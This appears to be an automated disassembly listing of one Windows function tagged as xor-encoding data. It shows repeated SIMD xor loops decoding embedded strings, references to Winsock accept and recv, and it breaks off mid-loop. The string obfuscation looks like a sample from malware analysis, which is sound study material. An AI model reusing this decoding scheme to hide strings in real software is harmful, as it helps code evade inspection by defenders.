Function at 0x140023150
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x568]
sub rsp, 0x640
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x1409b0280]
xor rax, rsp
mov qword [rbp + 0x520], rax
mov r14, rcx
mov qword [rsp + 0x60], rcx
xor edi, edi
mov eax, edi
mov dword [rsp + 0x40], eax
mov dword [rbp + 0xc0], eax
call fcn.140035ac0
mov r15, rax
mov qword [rsp + 0x58], rax
call fcn.14003bd20
lea rsi, [r14 + 0x1a8]
mov rcx, rsi
cmp qword [rsi + 0x18], 0xf
jbe 0x1400231c7
mov rcx, qword [rsi]
xor edx, edx
call rax
mov r13d, dword [reloc.WS2_32.dll_accept]
test rax, rax
je 0x140023761
mov byte [0x1409f5ac8], 1
movups xmm0, xmmword [0x140981f88]
movups xmmword [rbp + 0xc8], xmm0
movsd xmm0, qword [0x140981f98]
movsd qword [rbp + 0xd8], xmm0
mov eax, dword [0x140981fa0]
mov dword [rbp + 0xe0], eax
movzx eax, word [0x140981fa4]
mov word [rbp + 0xe4], ax
movzx eax, byte [0x140981fa6]
mov byte [rbp + 0xe6], al
mov eax, dword [0x140981e40]
mov dword [rbp + 0x90], eax
movzx eax, word [0x140981e44]
mov word [rbp + 0x94], ax
mov rax, qword [str.DYWYSE_]
mov qword [rbp + 0xc0], rax
mov r8d, edi
cmp r13d, 2
jl 0x14002339d
movdqa xmm5, xmmword [0x140986240]
movdqa xmm4, xmmword [0x1409865e0]
movdqa xmm6, xmmword [0x1409862d0]
movdqa xmm0, xmmword [0x140986430]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0xc8]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140023290
cmp r8d, 0x1f
jge 0x1400233e3
movsxd rax, r8d
lea r9, [rbp + 0xc8]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1f
jl 0x1400233b0
lea rdx, [rbp + 0xc8]
lea rcx, [rbp + 0x150]
call fcn.140011c10
nop
lea rdx, [r14 + 0x168]
lea rcx, [rbp + 0x150]
call fcn.140015d20
movzx eax, byte [rbp + 0x95]
test al, al
je 0x140023440
xor byte [rbp + 0x90], 0x37
xor byte [rbp + 0x91], 0x38
xor byte [rbp + 0x92], 0x39
xor byte [rbp + 0x93], 0x3a
xor byte [rbp + 0x94], 0x3b
xor al, 0x3c
mov byte [rbp + 0x95], al
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x150]
call fcn.1400136c0
call fcn.14003c030
mov rbx, rax
cmp byte [rbp + 0xc7], 0
je 0x1400235c3
cmp r13d, 2
jl 0x14002357e
movdqa xmm4, xmmword [0x1409865e0]
movdqa xmm2, xmmword [0x140986240]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1409862d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
mov eax, dword [0x140986430]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xc0]
xorps xmm2, xmm1
movd dword [rbp + 0xc0], xmm2
movdqa xmm3, xmmword [0x140986290]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1409862d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xc4]
xorps xmm2, xmm1
movd dword [rbp + 0xc4], xmm2
jmp 0x1400235c3
lea r9, [rbp + 0xc0]
mov r8d, edi
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140023590
lea rcx, [rbp + 0x150]
call fcn.140012e50
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0xc0]
mov rdx, rax
xor ecx, ecx
call rbx
cmp byte [rbp + 0xc7], 0
jne 0x140023743
cmp r13d, 2
jl 0x140023706
movdqa xmm4, xmmword [0x1409865e0]
movdqa xmm2, xmmword [0x140986240]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1409862d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
mov eax, dword [0x140986430]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xc0]
xorps xmm2, xmm1
movd dword [rbp + 0xc0], xmm2
movdqa xmm3, xmmword [0x140986290]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1409862d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xc4]
xorps xmm2, xmm1
movd dword [rbp + 0xc4], xmm2
jmp 0x140023743
lea r9, [rbp + 0xc0]
mov r8d, edi
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140023710
call fcn.140039b70
mov rbx, rax
call fcn.140029720
mov ecx, eax
call rbx
nop
lea rcx, [rbp + 0x150]
call fcn.140010b40
call fcn.1400479b0
test al, al
jne 0x140023e24
mov byte [0x1409f5ac8], 1
movups xmm0, xmmword [0x1409821e0]
movups xmmword [rbp + 0xf0], xmm0
movups xmm1, xmmword [0x1409821f0]
movups xmmword [rbp + 0x100], xmm1
movups xmm0, xmmword [0x140982200]
movups xmmword [rbp + 0x110], xmm0
movups xmm1, xmmword [0x140982210]
movups xmmword [rbp + 0x120], xmm1
movups xmm0, xmmword [0x140982220]
movups xmmword [rbp + 0x130], xmm0
movsd xmm0, qword [0x140982230]
movsd qword [rbp + 0x140], xmm0
mov eax, dword [0x140982238]
mov dword [rbp + 0x148], eax
mov rax, qword [str.DYWYSE_]
mov qword [rbp + 0x90], rax
call fcn.14003c030
mov r10, rax
cmp byte [rbp + 0x97], 0
je 0x140023953
cmp r13d, 2
jl 0x140023910
movdqa xmm4, xmmword [0x1409865e0]
movdqa xmm2, xmmword [0x140986240]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1409862d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
mov eax, dword [0x140986430]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x90]
xorps xmm2, xmm1
movd dword [rbp + 0x90], xmm2
movdqa xmm3, xmmword [0x140986290]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1409862d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x94]
xorps xmm2, xmm1
movd dword [rbp + 0x94], xmm2
jmp 0x140023953
lea r9, [rbp + 0x90]
mov r8d, edi
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140023920
cmp byte [rbp + 0x14b], 0
je 0x140023af3
mov r8d, edi
cmp r13d, 2
jl 0x140023aad
movdqa xmm5, xmmword [0x140986240]
movdqa xmm4, xmmword [0x1409865e0]
movdqa xmm6, xmmword [0x1409862d0]
movdqa xmm0, xmmword [0x140986430]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0xf0]
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x1400239a0
cmp r8d, 0x5c
jge 0x140023af3
movsxd rax, r8d
lea r9, [rbp + 0xf0]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5c
jl 0x140023ac0
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x90]
lea rdx, [rbp + 0xf0]
xor ecx, ecx
call r10
cmp byte [rbp + 0x14b], 0
jne 0x140023cb3
mov r8d, edi
cmp r13d, 2
jl 0x140023c6d
movdqa xmm5, xmmword [0x140986240]
movdqa xmm4, xmmword [0x1409865e0]
movdqa xmm6, xmmword [0x1409862d0]
movdqa xmm0, xmmword [0x140986430]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0xf0]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x140023b60
cmp r8d, 0x5c
jge 0x140023cb3
movsxd rax, r8d
lea r9, [rbp + 0xf0]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5c
jl 0x140023c80
cmp byte [rbp + 0x97], 0
jne 0x140023e13
cmp r13d, 2
jl 0x140023dd6
movdqa xmm4, xmmword [0x1409865e0]
movdqa xmm2, xmmword [0x140986240]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1409862d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
mov eax, dword [0x140986430]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x90]
xorps xmm2, xmm1
movd dword [rbp + 0x90], xmm2
movdqa xmm3, xmmword [0x140986290]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1409862d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x94]
xorps xmm2, xmm1
movd dword [rbp + 0x94], xmm2
jmp 0x140023e13
lea r9, [rbp + 0x90]
mov r8d, edi
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140023de0
call fcn.140039b70
mov rbx, rax
call fcn.140029720
mov ecx, eax
call rbx
call fcn.140029760
movabs rcx, 0xed7c311d1d7263f5
mov qword [rbp + 0x150], rcx
movabs rcx, 0x808012dcc318690a
mov qword [rbp + 0x158], rcx
movabs rcx, 0x85e23ef02b851b7
mov qword [rbp + 0x160], rcx
movabs r12, 0x4f00428e4c56e804
mov qword [rbp + 0x168], r12
movabs rcx, 0xed11316b1d03639c
mov qword [rbp + 0xc8], rcx
movabs rcx, 0x80ae12b9c32c693c
mov qword [rbp + 0xd0], rcx
movabs rcx, 0x85e239c02c151c4
mov qword [rbp + 0xd8], rcx
mov qword [rbp + 0xe0], r12
movups xmm0, xmmword [rbp + 0xc8]
movups xmm1, xmmword [rbp + 0xd8]
xorps xmm0, xmmword [rbp + 0x150]
movdqa xmmword [rbp + 0x500], xmm0
xorps xmm1, xmmword [rbp + 0x160]
movdqa xmmword [rbp + 0x510], xmm1
mov r8d, eax
lea rdx, [rbp + 0x500]
mov rcx, r15
call fcn.140047b60
test al, al
jne 0x1400245a4
mov byte [0x1409f5ac8], 1
movups xmm0, xmmword [0x140982180]
movups xmmword [rbp + 0xf0], xmm0
movups xmm1, xmmword [0x140982190]
movups xmmword [rbp + 0x100], xmm1
movups xmm0, xmmword [0x1409821a0]
movups xmmword [rbp + 0x110], xmm0
movups xmm1, xmmword [0x1409821b0]
movups xmmword [rbp + 0x120], xmm1
movups xmm0, xmmword [0x1409821c0]
movups xmmword [rbp + 0x130], xmm0
movsd xmm0, qword [0x1409821d0]
movsd qword [rbp + 0x140], xmm0
mov eax, dword [0x1409821d8]
mov dword [rbp + 0x148], eax
mov rax, qword [str.DYWYSE_]
mov qword [rbp + 0x90], rax
call fcn.14003c030
mov r10, rax
cmp byte [rbp + 0x97], 0
je 0x1400240d3
cmp r13d, 2
jl 0x14002408f
movdqa xmm4, xmmword [0x1409865e0]
movdqa xmm2, xmmword [0x140986240]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1409862d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
mov eax, dword [0x140986430]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x90]
xorps xmm2, xmm1
movd dword [rbp + 0x90], xmm2
movdqa xmm3, xmmword [0x140986290]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1409862d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x94]
xorps xmm2, xmm1
movd dword [rbp + 0x94], xmm2
jmp 0x1400240d3
lea r9, [rbp + 0x90]
mov r8d, edi
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1400240a0
cmp byte [rbp + 0x14b], 0
je 0x140024273
mov r8d, edi
cmp r13d, 2
jl 0x14002422d
movdqa xmm5, xmmword [0x140986240]
movdqa xmm4, xmmword [0x1409865e0]
movdqa xmm6, xmmword [0x1409862d0]
movdqa xmm0, xmmword [0x140986430]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0xf0]
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x140024120
cmp r8d, 0x5c
jge 0x140024273
movsxd rax, r8d
lea r9, [rbp + 0xf0]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5c
jl 0x140024240
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x90]
lea rdx, [rbp + 0xf0]
xor ecx, ecx
call r10
cmp byte [rbp + 0x14b], 0
jne 0x140024433
mov r8d, edi
cmp r13d, 2
jl 0x1400243ed
movdqa xmm5, xmmword [0x140986240]
movdqa xmm4, xmmword [0x1409865e0]
movdqa xmm6, xmmword [0x1409862d0]
movdqa xmm0, xmmword [0x140986430]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0xf0]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x1400242e0
cmp r8d, 0x5c
jge 0x140024433
movsxd rax, r8d
lea r9, [rbp + 0xf0]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5c
jl 0x140024400
cmp byte [rbp + 0x97], 0
jne 0x140024593
cmp r13d, 2
jl 0x140024556
movdqa xmm4, xmmword [0x1409865e0]
movdqa xmm2, xmmword [0x140986240]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1409862d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
